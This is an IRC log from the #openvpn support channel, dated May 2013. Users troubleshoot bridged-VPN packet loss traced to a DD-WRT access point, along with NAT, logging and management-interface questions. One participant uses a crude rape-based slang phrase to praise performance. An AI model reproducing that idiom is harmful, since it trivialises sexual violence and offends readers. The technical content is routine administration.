17:30 <@vpnHelper> Title: 2001 Freightliner American Lafrance Pumper 1250/750 (E2174)- Fenton Fire - Used Fire Trucks - We sell quality pre-owned fire engines, tankers, ladders, rescues, ambulances, quints in USA, Canada and beyond. (at www.fentonfire.com)
17:34 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
17:35 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
17:35 < phunyguy> 510 packets transmitted, 434 received, 14% packet loss, time 510222ms
17:37 -!- vaillor2 [~wefefr@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
17:38 < vaillor2> pekster: where is 128/8?
17:39 < pekster> 128/1
17:39 < pekster> I mistyped
17:39 < pekster> Or 0/0 if you're not using !def1
17:40 -!- vaillor [~wefefr@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 264 seconds]
17:40 < phunyguy> 64 bytes from 172.18.0.10: icmp_req=104 ttl=128 time=34.1 ms
17:40 < phunyguy> 64 bytes from 172.18.0.10: icmp_req=147 ttl=128 time=67.3 ms
17:40 < phunyguy> WOW.
17:40 < phunyguy> steady until 104, then 43 missed
17:41 < brain0> are you sure your NIC is okay?
17:41 < EugeneKay> Methinks there's something funny going on
17:42 < phunyguy> brain0: I just replaced it.
17:42 < phunyguy> brand new switch
17:42 < phunyguy> brand new switch also**
17:43 < brain0> cables?
17:43 < brain0> crappy isolation?
17:44 < phunyguy> good cables
17:44 < phunyguy> brain0 there is back story
17:44 < phunyguy> openvpn works great as a routed network
17:44 < phunyguy> bridging is the problem
17:45 < vaillor2> pekster, to use openvpn with proxy i switched to tcp, but somebody told me that openvpn with tcp is shit
17:45 < vaillor2> is it true?
17:45 < brain0> so, a problem on the host?
17:45 < rob0> !tcp
17:45 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
17:45 < phunyguy> possibly.  not sure what though
17:47 < phunyguy> missed 74 through 146 on that run
17:50 < rob0> EugeneKay, ours is a 2010 model similar to that but not the extended cab, with pump controls on a bridge behind the cab.
17:50 < EugeneKay> We've been applying to FEMA for a grant for one like that, but we've gotten turned down so far
17:50 < EugeneKay> If we don't get it next year we're gonna have to finance it ourselves
17:50 < EugeneKay> Orrrr just buy a used one that's newr than our 84
17:51 < rob0> Our rear spotlights have never been used, because we've broken them out too many times :( ... truck is 29'3" and the bay is 29'1".
17:51 < EugeneKay> What genius picked that out
17:51 < EugeneKay> We want the top-mount controls for visibility. Rural area, hard to get the pump panel to face the fire
17:52 < rob0> haha, yeah, should have remodeled first
17:52 < EugeneKay> The extended cab is a "nice to have", but we'll likely never use it. If there's more than 2 guys at the station when the pumper rolls, they grab the tanker or the rescue truck instead
17:52 < rob0> right, we don't have people sitting around at the station
17:52 < EugeneKay> Us neither
17:53 < EugeneKay> Though I am strongly considering buying the old workshop/garage building across the street and converting half of it into loft living space. My house is.... well, it has structural issues that aren't worth fixing.
17:54 < EugeneKay> And that thing is damn well gonna get painted red, and I'll go buy a fire truck to park out back if I have to
17:54 -!- phunyguy [~quassel@unaffiliated/phunyguy] has quit [Read error: No route to host]
17:54 -!- phunyguy [~quassel@h69-131-21-126.stmyga.broadband.dynamic.tds.net] has joined #openvpn
17:54 -!- phunyguy [~quassel@h69-131-21-126.stmyga.broadband.dynamic.tds.net] has quit [Changing host]
17:54 -!- phunyguy [~quassel@unaffiliated/phunyguy] has joined #openvpn
17:57 < EugeneKay> More immediately, I'm buying a new(to me) pickup. I'm thinking it should be nice and red, with a light bar on top of the headache rack
17:58 < EugeneKay> Yes, I'm a tad extreme.
18:02 < rob0> haha
18:02 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Quit: patching]
18:03 < rob0> I am looking at motorcycles. Red ones preferred, of course. :)
18:04 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 20.0.1/20130409194949]]
18:04 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
18:10 < vaillor2> status and log are similar?
18:13 -!- xtz is now known as xTz
18:14 < phunyguy> so this is interesting. running a wget from a vpn client of a linux ISO, using the tunnel as default gateway.  been going for 600 megs without a hitch at 1.05Mb/s
18:15 < phunyguy> going to try to rsync that iso over the tunnel from there to here when it finishes
18:16 -!- brain0 [~brain0@archlinux/developer/brain0] has quit [Quit: leaving]
18:16 < phunyguy> sorry meant that as MB/s
18:34 -!- MACscr [~Adium@c-98-214-103-147.hsd1.il.comcast.net] has joined #openvpn
18:35 -!- MonkZ [~monkz@dslc-082-083-196-244.pools.arcor-ip.net] has joined #openvpn
18:42 -!- MACscr [~Adium@c-98-214-103-147.hsd1.il.comcast.net] has left #openvpn []
18:42 < MonkZ> Hi, if i instantiate my tap device - and configure it with "ifconfig 192.168.235.50 255.255.0.0" - a route appears "192.168.0.0     *               255.255.0.0     U     0      0        0 tapvsd0" (first zero is the metric) - how can i set this metric to 1000?
18:52 -!- zoredache [~zoredache@pdpc/supporter/professional/zoredache] has quit [Ping timeout: 260 seconds]
18:55 -!- phunyguy [~quassel@unaffiliated/phunyguy] has quit [Read error: Connection reset by peer]
19:01 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
19:03 -!- MonkZ [~monkz@dslc-082-083-196-244.pools.arcor-ip.net] has quit [Ping timeout: 252 seconds]
19:04 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has quit [Changing host]
19:04 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has joined #openvpn
19:08 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
19:10 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
19:19 -!- mitz__ [~mitz@public-nat-d.vpngate.net] has joined #openvpn
19:19 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has quit [Ping timeout: 246 seconds]
19:24 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 272 seconds]
19:24 -!- mitz__ [~mitz@public-nat-d.vpngate.net] has quit [Read error: Connection reset by peer]
19:38 -!- brute11k1 [~brute@89.249.230.251] has joined #openvpn
19:42 -!- brute11k [~brute@89.249.230.251] has quit [Ping timeout: 260 seconds]
19:43 -!- tbytby [~tbytby@S01060016b6af7fce.vc.shawcable.net] has quit [Quit: leaving]
19:54 -!- raidz is now known as raidz_away
20:05 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:1846:7056:8a6d:b667] has quit [Quit: emmanuelux]
20:07 -!- brute11k1 [~brute@89.249.230.251] has quit [Ping timeout: 252 seconds]
20:25 -!- mitz__ [~mitz@219.143.36.82] has joined #openvpn
20:34 -!- phunyguy [~quassel@h69-131-21-126.stmyga.broadband.dynamic.tds.net] has joined #openvpn
20:34 -!- phunyguy [~quassel@h69-131-21-126.stmyga.broadband.dynamic.tds.net] has quit [Changing host]
20:34 -!- phunyguy [~quassel@unaffiliated/phunyguy] has joined #openvpn
20:53 < phunyguy> The plot thickens.
20:53 < phunyguy> set up a bridge on my server (not the router), and noticed the same messages being logged in syslog
20:54 < phunyguy> kind of eliminates PC hardware.  Only thing left to eliminate is the switch
20:54 < phunyguy> (which is brand new)
20:54 -!- brute11k [~brute@89.249.230.251] has joined #openvpn
21:03 -!- master_o1_master [~master_of@p4FF24426.dip0.t-ipconnect.de] has joined #openvpn
21:07 -!- master_of_master [~master_of@p4FF2455B.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds]
21:17 < phunyguy> I think I found the culprit
21:17  * phunyguy grins at pekster
21:17 < phunyguy> care to take a guess?
21:19 < phunyguy> dd-wrt on the AP.  I unplugged the AP, and got 300 solid pings over the vpn tunnel with 0% loss.
21:20 < phunyguy> plugged it back in... yeah.  loss all over the place
21:24 < Devastator> AP make and model?
21:25 < phunyguy> It's a Linksys E1200 router, with routing disabled.
21:25 < phunyguy> I tihnk it may have been a misconfiguration
21:26 < phunyguy> still trying to sort it out
21:26 < phunyguy> I may just replace it in favor of a pure AP.
21:26 < Devastator> honestly, I don't think it's powerful enough either way
21:26 < phunyguy> no its not running openvpn
21:26 < phunyguy> the only relationship it has to openvpn is purely on a L2 perspective
21:26 < phunyguy> but L2 is giving me problems on my network.
21:26 < Devastator> it's acting as a switch, right?
21:26 < phunyguy> yews
21:27 < phunyguy> yes
21:27 < Devastator> even as a switch, I don't think it's enough
21:27 < Devastator> how many users again!?
21:27 < phunyguy> unplugged it, ran a ping test over the tunnel, and got approx 0 lost packets
21:27 < phunyguy> just a few
21:27 < phunyguy> some tablet devices
21:27 < phunyguy> couple phones
21:28 < phunyguy> 3 laptops
21:28 < phunyguy> I wonder if I can take dd-wrt off this thing
21:28 < phunyguy> put it back to stock.
21:28 < phunyguy> ...or load tomato on it
21:29 < Devastator> I would try dd-wrt Kong mod
21:29 < phunyguy> nah I'm not messin with dd-wrt anymore
21:30 < phunyguy> I will put the vpn tunnel in routed mode, and be done with it until i replace the linksys
21:31 < Devastator> you can go back to stock, sure
21:31 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
21:31 < Devastator> did you follow switch wiki by any chance?
21:31 < phunyguy> hmmm?
21:31 < phunyguy> probably not.
21:32 < Devastator> phunyguy http://www.dd-wrt.com/wiki/index.php/Switch
21:32 <@vpnHelper> Title: Switch - DD-WRT Wiki (at www.dd-wrt.com)
21:34 < phunyguy> Devastator: nothing on that page looks to be an issue.  I didn't follow it, my setup is correct according to it
21:35 < Devastator> I thought I would show for you to check if you didn't miss anything, sorry for that
21:36 < phunyguy> oh no worries
21:36 < phunyguy> every little bit helps
21:39 < Devastator> I think it's wise to remove it from the equation, but if you wanna play with firmwares some more just for fun, go back to stock then try kong mod
21:45 < phunyguy> *shrug*
21:46 < phunyguy> I dont remember how I did this but I got the WLAN bridged to the WAN port
21:46 < phunyguy> but the LAN ports are not
21:46 < phunyguy> *sigh*
21:46 < phunyguy> was gonna try to move to another port, but yeah that made it dead.
21:46 < Devastator> which build number you have installed?
21:49 < phunyguy> DD-WRT v24-sp2 (06/08/12) mega
21:49 < phunyguy> (SVN revision 19342)
22:14 < phunyguy> Got old faithful plugged in
22:14 < phunyguy> and took the E1200 out of the equation for now
22:14 < phunyguy> runnin on my old WRT-54G with Tomato on it
22:18 < phunyguy> yup.  took that out and problem gone.
22:22 < phunyguy> whoda thunk it
22:22 < phunyguy> everyone, thank you for the help and kind words of encouragement
22:25 < Devastator> sorry to not help you more
22:26 < Devastator> was the WRT54G able to be your switch no problems?
22:26 < phunyguy> oh no you al helped
22:26 < phunyguy> yes
22:26 < phunyguy> approximately 0 issues
22:26 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- *I* use it, so it must be good!]
22:26 < phunyguy> it did away with errors in syslog about frames coming through with same source and destination addresses
22:27 < phunyguy> and openvpn via bridged interface runs like a raped ape
22:27 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
22:27 < phunyguy> zero pings los
22:27 < phunyguy> lost
22:28 < phunyguy> so strange that just a wifi bridge on the same subnet will cause so many issues with openvpn on another server bridged to that subnet
22:28 < phunyguy> but it is what it is
22:29 < phunyguy> 500 packets transmitted, 500 received, 0% packet loss, time 499694ms
22:34 -!- vaillor [~wefefr@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
22:37 -!- vaillor2 [~wefefr@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 252 seconds]
23:10 -!- JyZyXEL [~foo@a88-115-46-124.elisa-laajakaista.fi] has joined #openvpn
23:11 < JyZyXEL> how can it be possible when i try to connect a ovpn server i just made there is no log entires at either end?
23:11 < JyZyXEL> i increased the verbosity level to 9 on both the server and client
23:12 < JyZyXEL> yet when i try to connect there is nothing in the logs
23:12 < JyZyXEL> firewalls wide open on both sides
23:20 -!- squ [~Thunderbi@unaffiliated/squ] has joined #openvpn
23:20 < squ> hello
23:21 < squ> is it possible to us openvpn just for one host
23:21 < squ> a client machine should use default internet access, while connecting to specific host thru openvpn's gateway
23:21 < phunyguy> this makes me all warm and fuzzy inside.
23:21 < phunyguy> 2707 packets transmitted, 2707 received, 0% packet loss, time 2709150ms
23:33 -!- squ [~Thunderbi@unaffiliated/squ] has quit [Read error: Connection reset by peer]
23:41 -!- squ [~Thunderbi@unaffiliated/squ] has joined #openvpn
--- Day changed Tue May 07 2013
00:02 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 245 seconds]
00:03 < JyZyXEL> i don't understand how there can be no log entries at all when trying to connect
00:21 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has quit [Ping timeout: 264 seconds]
00:22 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
00:23 < pppingme> JyZyXEL what OS, and what log entries do you have in your config files?
00:24 < JyZyXEL> Debian 7.0 and the default log entries so it logs to syslog
00:24 < JyZyXEL> i start up /etc/init.d/openvpn start and the last line in the syslog is: ovpn-server[12363]: Initialization Sequence Completed
00:24 < JyZyXEL> no further lines appear when i try to connect to the server
00:26 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Remote host closed the connection]
00:28 < JyZyXEL> the server is directly exposed to the internet and has no firewall and im trying to connect to it with a win7 openvpn-gui
00:28 < JyZyXEL> i am able to connect other openvpn servers with it just fine
00:29 -!- brute11k [~brute@89.249.230.251] has quit [Read error: Connection reset by peer]
00:29 -!- brute11k [~brute@89.249.230.251] has joined #openvpn
00:29 < pekster> phunyguy: Can't say I'm surprised. I think your LAN was the first thing I blamed :)
00:30 < JyZyXEL> i've never been in a sitution where neither the client or ther server output no log information even on the highest verbosity setting
00:32 < EugeneKay> Methinks you're looking in the wrong place
00:33 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
00:34 < JyZyXEL> oh wow..... i had forgotten to write "remote" before the remote ip-address....
00:35 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
00:35 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
00:37 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has quit [Excess Flood]
00:40 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has joined #openvpn
00:41 -!- rymnio [~chatzilla@91.234.245.245] has joined #openvpn
01:04 -!- rymnio [~chatzilla@91.234.245.245] has quit [Ping timeout: 256 seconds]
01:13 < JyZyXEL> what setting do i need when i want client to be able to access the internet trough my openvpn server?
01:15 < JyZyXEL> oh yeah, probably Masq
01:16 < EugeneKay> !redirect
01:16 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
01:16 <@vpnHelper> http://ircpimps.org/redirect.png
01:16 < EugeneKay> JyZyXEL ^
01:17 < JyZyXEL> that is offline?
01:18 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
01:22 < JyZyXEL> EugeneKay: masq was needed from 10.8.0.0/24 to eth0 :)
01:22 < JyZyXEL> im surprised i had to do that myself
01:37 -!- vaillor2 [~wefefr@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
01:40 -!- vaillor [~wefefr@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 245 seconds]
01:40 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
01:41 -!- JackWinter1 [~jack@vodsl-9435.vo.lu] has quit [Ping timeout: 272 seconds]
01:50 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:08 -!- brute11k [~brute@89.249.230.251] has quit [Ping timeout: 252 seconds]
02:08 -!- brute11k [~brute@89.249.230.251] has joined #openvpn
02:18 -!- brute11k [~brute@89.249.230.251] has quit [Ping timeout: 246 seconds]
02:18 -!- brute11k [~brute@89.249.230.251] has joined #openvpn
02:19 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Ping timeout: 264 seconds]
02:23 -!- brute11k1 [~brute@89.249.230.251] has joined #openvpn
02:25 -!- brute11k [~brute@89.249.230.251] has quit [Ping timeout: 264 seconds]
02:26 -!- meepmeep [~meepmeep@there-is-no.endoftheinternet.org] has quit [Ping timeout: 258 seconds]
02:30 -!- brute11k1 [~brute@89.249.230.251] has quit [Ping timeout: 256 seconds]
02:30 -!- brute11k1 [~brute@89.249.230.251] has joined #openvpn
02:42 -!- MonkZ [~monkz@dslc-082-083-196-244.pools.arcor-ip.net] has joined #openvpn
02:47 -!- brute11k [~brute@89.249.230.251] has joined #openvpn
02:48 -!- brute11k1 [~brute@89.249.230.251] has quit [Ping timeout: 252 seconds]
03:11 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
03:26 -!- JackWinter [~jack@vodsl-10021.vo.lu] has left #openvpn ["Konversation terminated!"]
03:26 -!- i7c [~i7c@unaffiliated/i7c] has quit [Ping timeout: 264 seconds]
03:28 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
03:38 -!- dazo_afk is now known as dazo
03:43 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
03:43 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Quit: Leaving]
03:44 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
03:45 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
04:33 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has quit [Excess Flood]
04:33 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has joined #openvpn
04:46 -!- vaillor [~wefefr@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
04:48 -!- vaillor2 [~wefefr@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 245 seconds]
04:53 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
04:55 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
05:04 -!- MaximB [~maxim@bzq-218-139-133.cablep.bezeqint.net] has joined #openvpn
05:05 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 272 seconds]
05:05 -!- brute11k [~brute@89.249.230.251] has quit [Ping timeout: 252 seconds]
05:05 < MaximB> Hello, someone forgot the openvpn connection open in her home and here at work she having problems working connecting (because of the duplicate tunnel) , how can I disconnect this user (close it's current connection) in openvpn server (Linux command line) ?
05:10 -!- rymnio [~chatzilla@91.234.245.245] has joined #openvpn
05:11 -!- ade_b [~Ade@94.125.18.11] has joined #openvpn
05:11 -!- ade_b [~Ade@94.125.18.11] has quit [Changing host]
05:11 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
05:11 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
05:13 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
05:13 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
05:25 -!- rymnio [~chatzilla@91.234.245.245] has quit [Ping timeout: 264 seconds]
05:27 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
05:28 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has joined #openvpn
05:29 -!- MonkZ [~monkz@dslc-082-083-196-244.pools.arcor-ip.net] has quit [Read error: Operation timed out]
05:39 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
05:46 < vaillor> ehy guys, is there some difference between "status openvpn-status-log" and "log /etc/openvpn/log.log" ?
05:53 -!- mitz__ [~mitz@219.143.36.82] has quit [Quit: WeeChat 0.4.0]
06:20 <@dazo> MaximB: find the IP address of the client, and use iptables to block the connection .... or unless you have the management interface enabled, you might be able to kill the connection from there
06:28 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 272 seconds]
06:29 -!- phunyguy [~quassel@unaffiliated/phunyguy] has quit [Ping timeout: 246 seconds]
06:32 -!- phunyguy [~quassel@h69-131-21-126.stmyga.broadband.dynamic.tds.net] has joined #openvpn
06:32 -!- phunyguy [~quassel@h69-131-21-126.stmyga.broadband.dynamic.tds.net] has quit [Changing host]
06:32 -!- phunyguy [~quassel@unaffiliated/phunyguy] has joined #openvpn
06:34 -!- qmr_ is now known as qmr
06:36 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
06:37 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
06:38 < MaximB> dazo: how can I enable and login to the management interface ?
06:40 < mcp> MaximB: you need something like "management 127.0.0.1 1194" in your server config and then just telnet to the port and you're there
06:40 <@dazo> MaximB: if you don't have that ... you need to restart your server
06:40 <@dazo> openvpn process, that is
06:42 -!- erry [erry@freenode/staff/erry] has left #openvpn []
06:45 -!- MonkZ [~monkz@eduroam-pool7-1663.wlan.uni-bremen.de] has joined #openvpn
06:48 < MaximB> mcp: telnet? , no ssh or webgui?
06:49 < mcp> MaximB: no
06:49 < MaximB> mcp: I don't know many telnet commands
06:49 < mcp> MaximB: http://openvpn.net/index.php/open-source/documentation/miscellaneous/79-management-interface.html
06:49 <@vpnHelper> Title: Management Interface (at openvpn.net)
06:49 < mcp> MaximB: telnet commands?!?
06:50 < mcp> lol
06:58 < cnf> starting openvpn with "--client --comp-lzo --nobind --persist-key --persist-tun --remote-random --auth none --cipher none --dev tap --remote 10.0.17.27 --resolv-retry infinite --script-security 2 --secret /etc/openvpn/secret.key --down /etc/openvpn/down.sh --up /etc/openvpn/up.sh" gives me "Options error: specify only one of --tls-server, --tls-client, or --secret"
06:59 < cnf> that should not be, right?
07:01 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 252 seconds]
07:02 <@plaisthos> cnf: --client includes tls-client
07:03 < cnf> plaisthos: so why is it telling me it can't ?
07:03 < cnf> ah
07:03 < cnf> hmm
07:03 < cnf> right
07:03 <@plaisthos> maybe you meant --pull?
07:05 < cnf> plaisthos: right :P
07:05 < cnf> thanks :P
07:05 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
07:07  * plaisthos is a bit confused about the :P 
07:09 -!- d3c [~d3c@005033015042.mbb.telenor.dk] has joined #openvpn
07:12 < vaillor> guys, can you help me with my question?
07:16 < meepmeep> Hi :)
07:16 -!- d3c [~d3c@005033015042.mbb.telenor.dk] has quit [Ping timeout: 255 seconds]
07:16 -!- d3c_ [~d3c@005033091033.mbb.telenor.dk] has joined #openvpn
07:17 < meepmeep> On my pros
07:17 < meepmeep> Ouch
07:18 < meepmeep> It seems that I need to reboot a container when I add a new veth interface. Is reserve a way to add/del a veth without rebooting the CT ? (This is quite annoying)
07:18 < mcp> vaillor: there are differences
07:19 < vaillor> mcp, for example?
07:19 < mcp> vaillor: status is just a status file, log is a logfile which would normally go to syslog if not specified, telling what openvpn is doing, who's connecting, disconnecting, crl checks etc. blabla
07:19 < mcp> vaillor: the man page tells you so also ;)
07:19 < vaillor> what do u mean for "status" ?
07:20 < vaillor> man page is not too much clear about status
07:21 < mcp> vaillor: status is a status file about who is connected from where and in/out bytes transferred and possible behind subnets/hosts, for example
07:22 < vaillor> ok
07:22 < vaillor> i think i can see status also from log file
07:22 < vaillor> so, i can remove status line
07:22 < mcp> no
07:23 < meepmeep> Oh. Wrong chan :p
07:31 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
07:35 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has left #openvpn []
07:36 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: takamichi]
07:37 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:38 -!- AndrewX192 [~andrew@unaffiliated/andrewx192] has quit [Ping timeout: 276 seconds]
07:39 -!- d3c_ [~d3c@005033091033.mbb.telenor.dk] has quit [Read error: Connection reset by peer]
07:42 -!- d3c [~d3c@94.101.209.98] has joined #openvpn
07:45 -!- AndrewX192 [~andrew@131.191.116.183] has joined #openvpn
07:45 -!- AndrewX192 [~andrew@131.191.116.183] has quit [Changing host]
07:45 -!- AndrewX192 [~andrew@unaffiliated/andrewx192] has joined #openvpn
07:49 < mnice> Olipro: servus & ping
07:50 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 248 seconds]
07:51 < mnice> Olipro: thank you .. definitely resolved my issue .. however esx does it i found no better solution than disabling all fragmentations and segmentations over vmxnet3 .. check your defalts via `ethtool -k eth0 | egrep segm\|fragm' .. thanks again for your yesterdays time and help
07:52 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
07:54 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
07:55 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 258 seconds]
08:00 -!- brute11k [~brute@89.249.230.36] has joined #openvpn
08:08 -!- mitz_ [~mitz@public-nat-d.vpngate.net] has joined #openvpn
08:09 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
08:19 -!- rymnio [~chatzilla@91.234.245.245] has joined #openvpn
08:20 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 252 seconds]
08:24 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
08:25 -!- d3c [~d3c@94.101.209.98] has quit [Quit: Sleep]
08:26 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
08:28 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Excess Flood]
08:29 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
08:30 -!- takamichi [~takamichi@217.23.15.212] has quit [Read error: Connection reset by peer]
08:31 -!- vaillor2 [~wefefr@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
08:31 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
08:34 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:34 -!- vaillor [~wefefr@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 264 seconds]
08:39 -!- Sjors [~sgielen@foo.kassala.de] has quit [Remote host closed the connection]
08:44 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Remote host closed the connection]
08:45 -!- MonkZ [~monkz@eduroam-pool7-1663.wlan.uni-bremen.de] has quit [Ping timeout: 248 seconds]
08:52 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 245 seconds]
08:52 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: No route to host]
08:53 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
08:54 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
08:54 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
09:04 -!- vaillor2 [~wefefr@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 245 seconds]
09:06 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
09:07 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
09:10 -!- squ [~Thunderbi@unaffiliated/squ] has quit [Quit: squ]
09:14 -!- mete [~mete@mete.shell.la] has quit [Read error: Operation timed out]
09:15 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
09:16 -!- MaximB [~maxim@bzq-218-139-133.cablep.bezeqint.net] has left #openvpn []
09:20 -!- rymnio [~chatzilla@91.234.245.245] has quit [Ping timeout: 276 seconds]
09:21 -!- jthunder [~jthunder@174.3.126.51] has quit [Ping timeout: 245 seconds]
09:28 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
09:35 -!- seait [~seait@c-76-102-97-160.hsd1.ca.comcast.net] has quit []
09:42 -!- MonkZ [~monkz@eduroam-pool3-217.wlan.uni-bremen.de] has joined #openvpn
09:43 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
09:45 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
09:46 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
09:55 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
10:17 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Quit: Using ZNC - http://znc.sourceforge.net]
10:21 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
10:21 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
10:22 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
10:25 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 255 seconds]
10:36 -!- raidz_away is now known as raidz
10:44 -!- MonkZ [~monkz@eduroam-pool3-217.wlan.uni-bremen.de] has quit [Ping timeout: 252 seconds]
10:45 -!- BenLue [~BenLue@178-83-36-152.dynamic.hispeed.ch] has quit []
